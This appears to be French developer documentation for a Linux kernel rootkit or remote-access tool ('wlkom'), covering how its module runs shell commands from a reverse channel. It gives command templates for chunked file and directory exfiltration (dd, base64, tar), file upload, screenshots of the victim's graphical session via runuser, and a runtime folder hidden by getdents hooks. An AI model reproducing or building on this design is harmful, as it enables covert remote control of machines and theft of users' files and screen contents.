Aller au contenu principal

Actions userland

Cette page explique pourquoi le module délègue beaucoup d'actions à /bin/sh au lieu de tout réimplémenter en contexte kernel: commandes, transferts, dossiers, screenshots et fichiers temporaires.

La frontière à retenir:

kernel : transporte, hooke, route, lit les résultats
userland: exécute les outils déjà présents sur Linux

Pour les primitives kernel derrière cette page, voir Références techniques.

Fichiers concernés

FichierRôle
src/userland/helper_runner.clance /bin/sh -c avec call_usermodehelper
src/userland/file_reader.clit les fichiers temporaires avec kernel_read
src/storage/hidden_directory.ccrée /opt/wlkom_data
src/commands/command_capture.ccapture stdout/stderr et code retour
src/commands/file_transfer.cupload/download par base64 et chunks
src/commands/screenshot.cgénère et lance le script de capture
src/network/command_router.croute vers les actions spécialisées

Pourquoi sortir vers userland?

Un module kernel peut manipuler des fichiers et processus, mais ce n'est pas l'endroit idéal pour réimplémenter:

  • un parseur shell
  • les pipes et redirections
  • base64, dd, tar
  • la détection de session graphique
  • loginctl, runuser, gnome-screenshot, scrot
  • les détails X11/Wayland.

Le projet choisit donc une frontière simple:

kernel: transport, hooks, routage, lecture des résultats
userland: commandes complexes déjà disponibles sur Linux

Pourquoi ça fonctionne? call_usermodehelper permet au noyau de demander le lancement d'un programme userland. Avec UMH_WAIT_PROC, le module attend la fin du processus avant de lire le résultat.

Le noyau pourrait faire beaucoup de choses lui-même, mais ce serait plus long, plus fragile et moins lisible. Ici, /bin/sh, base64, dd, tar et les outils de screenshot font le travail compliqué.

Environnement des helpers

wlkom_run_shell_command lance:

/bin/sh -c "<commande>"

avec un environnement fixe:

HOME=/
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin
DISPLAY=:0

PATH rend disponibles les outils système sans chemin absolu. DISPLAY=:0 donne une valeur par défaut aux outils graphiques, même si le script screenshot essaie ensuite des valeurs plus précises.

Dossier runtime

Le dossier runtime est:

/opt/wlkom_data

Création:

mkdir -p /opt/wlkom_data && chmod 700 /opt/wlkom_data

Fichiers principaux:

FichierUsage
.cmd.outsortie des commandes shell
.screen.txtrésultat base64 ou diagnostic screenshot
.screen.pngnom réservé pour l'image de capture

Ce dossier donne un point d'échange stable entre le helper userland et le module kernel. Les hooks getdents* le masquent ensuite dans les listings.

Capture d'une commande

Une commande shell reçue par le canal reverse est enveloppée ainsi:

(<commande>) > /opt/wlkom_data/.cmd.out 2>&1; echo "[exit:$?]" >> /opt/wlkom_data/.cmd.out

Étapes:

  1. construire la commande enveloppée
  2. lancer /bin/sh -c avec call_usermodehelper
  3. lire .cmd.out avec kernel_read
  4. chercher le dernier marqueur [exit:N]
  5. retirer le marqueur de la sortie visible
  6. supprimer .cmd.out
  7. renvoyer sortie et code au backend.

Pourquoi écrire dans un fichier? call_usermodehelper ne donne pas au module un pipe stdout/stderr simple comme subprocess côté Python. Le fichier temporaire sert donc de boîte aux lettres.

Le fichier est situé dans /opt/wlkom_data, puis supprimé après lecture. Les hooks de masquage réduisent sa visibilité côté userland.

Codes de retour

Le marqueur ajouté est:

[exit:$?]

Le module cherche le dernier marqueur [exit: dans le fichier. Si une commande affiche elle-même une chaîne similaire, le dernier marqueur reste normalement celui ajouté par le wrapper.

Si aucun marqueur n'est trouvé, le code considère la commande comme réussie par défaut. Dans la pratique, le wrapper en ajoute toujours un si /bin/sh va jusqu'au bout.

Upload fichier

Le routeur accepte:

upload-begin <path>
upload-append <base64> <path>

upload-begin lance:

mkdir -p -- "$(dirname -- <path>)" && : > <path>

upload-append lance:

printf '%s' '<base64>' | base64 -d >> <path>

Pourquoi deux étapes? La première prépare un fichier vide propre. Les appels suivants ajoutent des chunks décodés. Cela évite de faire tenir un fichier entier dans une seule ligne de commande kernel.

Le backend shell-quote le chemin avant de l'envoyer. Le module considère donc que le chemin reçu est déjà prêt à être injecté dans la commande shell.

Download fichier

Le download fichier passe uniquement par:

download-chunk <offset> <length> <path>

Le module lance:

dd if=<path> bs=1 skip=<offset> count=<length> 2>/dev/null | base64 -w0

Puis il répond:

FILE-CHUNK:<offset>:<length>:<path>
<base64>
[exit:0]

Pourquoi dd? Il sait lire une plage précise sans charger tout le fichier dans la réponse. Le backend assemble ensuite les chunks dans l'ordre.

Limites:

  • le backend demande 256 KiB par chunk
  • le module refuse une longueur supérieure à 512 KiB
  • la réponse doit rester sous WLKOM_TX_SIZE.

Download dossier

Le module n'a pas de commande spéciale native pour les dossiers. Le backend crée d'abord une archive temporaire:

/opt/wlkom_data/.download-dir.tar.gz

La commande distante ressemble à:

tar -C "$(dirname -- <path>)" -czf /opt/wlkom_data/.download-dir.tar.gz -- "$(basename -- <path>)"

Ensuite, le backend télécharge cette archive avec le même mécanisme chunké que pour un fichier normal, puis il supprime l'archive distante.

Pourquoi faire comme ça? Un dossier n'est pas un flux simple à lire avec dd. Le transformer en .tar.gz donne un fichier unique, donc le protocole download-chunk peut le récupérer morceau par morceau.

Screenshot

La capture écran est la plus dépendante de userland. Le module génère un script shell multi-lignes qui:

  1. vérifie la présence des outils nécessaires
  2. choisit un outil de capture disponible
  3. trouve une session graphique avec loginctl si possible
  4. retrouve l'utilisateur, l'UID et le home
  5. tente plusieurs couples DISPLAY / XAUTHORITY
  6. lance l'outil avec runuser
  7. encode le PNG en base64
  8. écrit le résultat dans .screen.txt.

Outils possibles:

OutilContexte
gnome-screenshotGNOME
scrotX11 léger
importImageMagick
xwd + convertfallback X11

Le résultat est encadré par:

__WLKOM_SCREEN_BEGIN__
__WLKOM_SCREEN_END__

Le backend extrait ce bloc, décode le PNG et le met à disposition du frontend.

Pourquoi runuser?

Le thread kernel peut avoir des privilèges élevés, mais une capture graphique dépend aussi du contexte de session:

HOME
DISPLAY
XDG_RUNTIME_DIR
DBUS_SESSION_BUS_ADDRESS
XAUTHORITY

Lancer l'outil sous l'utilisateur graphique donne plus de chances d'accéder à la session active. C'est pour cela que le script cherche d'abord un utilisateur et une session avant de capturer.

Lecture et suppression des fichiers temporaires

Lecture:

filp_open
kernel_read
filp_close

Suppression:

rm -f -- <path>

Le projet sépare les petites commandes et les gros buffers:

  • kmalloc ressemble à malloc, mais côté kernel: il donne un bloc contigu et non initialisé
  • kzalloc est la même famille que kmalloc, mais le buffer est rempli de zéros
  • vzalloc donne un buffer virtuellement contigu, plus adapté aux grosses tailles
  • kzalloc + kfree pour les commandes courtes, par exemple upload-begin, download-chunk ou rm -f
  • vzalloc + vfree pour les buffers volumineux, notamment send_buffer (4 MiB), receive_buffer (160 KiB) et la commande upload-append
  • kmalloc + kfree quand un petit buffer temporaire non initialisé suffit, comme le tampon chiffré envoyé sur la socket.

Cette règle évite de demander de gros blocs contigus au noyau avec kzalloc. Elle impose aussi de libérer chaque allocation avec la bonne famille: kfree pour kmalloc/kzalloc, vfree pour vzalloc.

Le détail à ne pas rater: vzalloc donne une zone virtuellement contiguë. Pour le code C, on l'utilise comme un tableau normal, mais le noyau n'a pas besoin de trouver un gros bloc physique collé. C'est plus adapté aux buffers de plusieurs centaines de KiB ou plusieurs MiB.

Avantages de cette architecture

  • Le code kernel reste plus petit.
  • Les outils Linux existants font le travail complexe.
  • Les commandes restent faciles à comprendre dans la documentation.
  • Les erreurs userland peuvent être renvoyées comme texte au dashboard.
  • Les actions évoluent côté shell/backend sans changer la logique de hooks.

Limites à retenir

  • Les actions dépendent des outils présents sur la victime.
  • Un environnement minimal peut ne pas avoir base64, tar, runuser ou un outil de capture.
  • Les chemins sont intégrés dans des commandes shell: le backend doit les quote correctement.
  • Les dossiers sont transformés en archive temporaire, puis téléchargés comme un fichier chunké.
  • Les screenshots dépendent fortement de X11/Wayland et de la session utilisateur.

Liens liés